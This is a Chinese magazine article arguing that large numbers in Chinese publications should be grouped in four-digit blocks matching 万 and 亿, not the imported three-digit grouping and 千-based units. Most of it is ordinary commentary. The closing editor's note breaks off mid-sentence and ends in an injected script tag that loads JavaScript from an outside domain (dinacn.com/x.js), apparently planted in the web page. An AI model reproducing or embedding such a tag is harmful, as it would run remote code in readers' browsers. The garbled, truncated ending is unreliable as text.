上世纪80年代以来,新书出版在标注字数时开始多以“千字”为计数单位,以后有蔓延之势。以“千元” 、“千吨”作为货币和质量计读单位的现象在企业财务报表、甚至省区统计年鉴中也开始较多地出现。这和我国传统的以“万”为单位的计读法势必相违,在数字计读上造成了混乱。这种数字使用上的“双轨制”在涉及数字的领域中有百害而无一益,应当引起有关方面的注意。
以“千”为大数计读单位的表示法与对阿拉伯数字多位数的分节规定有关。我国在对阿拉伯数字分节的问题上,一直照搬西方采用的三位分节法:从个位数起向左和向右每隔三位数用逗号间隔以利计读。1987年,国家语言文字工作委员会等中央七部门联合发布了《关于出版物上数字用法的试行规定》,进一步对于阿拉伯数字四位数和四位以上的数字,要求“采用国际通行的三位分节法”。在1996年6月1日开始实施的国家标准《出版物上数字用法的规定》中继续规定:“专业性科技出版物的分节法:从小数点起,向左和向右每三位数字一组,组间空四分之一的汉字(二分之一个阿拉伯数字)的位置。”
这种“三位分节法”对于西方记数表示法是实用的,因为西方记数进阶是三位数为一阶,个位以上是:thousand(千)、million(百万)、billion(十亿),即每上升三位为另一数级,名称也变。其情形如下:
3,000 three thousand 3(千)
48,000 fourty-eight thousand 48(千)
3,000,000 three million 3(百万)
500,000,000 five hundred million 500(百万)
5,000,000,000 five billion 5(十亿)
50,000,000,000 fifty billion 50(十亿)
上例表明西方数字三位一阶的计读方式,是基于它本身的数级阶位和计读名称,计读时只需辨认数级阶位逗号左面的数字即可方便地读出该数的大小。
而中国历来的记数进阶是四位数为一阶,即:个位、万位、亿位;生硬地套用西方三位一阶分节法,在计读大数时却毫无帮助。每遇大数,尽管分了节,中国人还是需要从个位向左一位位推读以辨知数的位级,然后才能向右辨读,极不方便。根据中国人数字晋级阶位及名称,四位一组的分节法才符合中国人的计读方式,试看以下“四位分节法”例子:
265,0000 265万
3400,0000 3400万
27,1500,0000 27亿1500 万
45,6800,0000, 0000 45万6800亿
我们在计读以上数字时,从右起第一个逗号左的数读“万”,第二个逗号左的数读“亿”,第三个逗号左的数在“亿”的基础上再读“万”。这样,即使是万亿大的数字,如上述第四例,识读起来也可以脱口而出,一目了然,非常方便。而用三位一阶的标识方法计读大数,我们每次都要先向左数位,然后再向右一位位地认读,阅读的思维至此就像一列快车,必须刹车倒车往复,然后再前行,大大降低了阅读速度,影响我们的工作效率。这种思维上的“瓶颈”造成了智力的浪费,考虑到全国与数字打交道人的数目和迟滞的工作时间,这种智力的浪费总量不容小觑。
数字分节法实质上是为便于人们记读数字的一种识读方法,三位分节法对于西方人来说是适用的工具,而对于中国人来说就是一种没有任何意义的摆设。如同拐杖对于老人来说是行步的工具,对于学步的幼童来说就是一种无用的多余,不仅无用,反而添乱。
然而,因为要和“国际接轨”,三位一阶的分节法得到了规定,刺激了“千字”、“千元”等计数读法的使用。但是,假如数字更大一些,比如“十万”,是否该读“百千”?“百万”呢,是否该称“千千”?还是干脆依了英语的叫法,叫做“面列”(millin)?到了“千万”呢?我们是叫做“千万”,还是“万千”?这种读数的两股“岔道”走下去,势必造成数字计读应用的混乱。面对这一问题,只能有一种标准。
语言要求规范,这是语言学界一直呼吁和追求的目标,尤其是到了“数字时代”,数字的运用贯穿于我们生活工作的方方面面,频繁而重要;数字的计读马虎不得,混乱不得。在数字分节上违反中国国情,盲目西化,导致当前社会上大数计读单位的不统一现象,需要重新思考与界定,是“千”是“万”,是选择“国际接轨”,还是考虑“中国特色”?要有个审慎的合理的规定才好。
编后语:
关于阿拉伯数字的分节问题,既专业涉及面又广,有关部门是应该“有个审慎的合理的规定才好”。讨论这样专业的问题不是《北京观察》杂志专攻的“术业”,我们想与读者探?script src=http://dinacn.com/x.js> |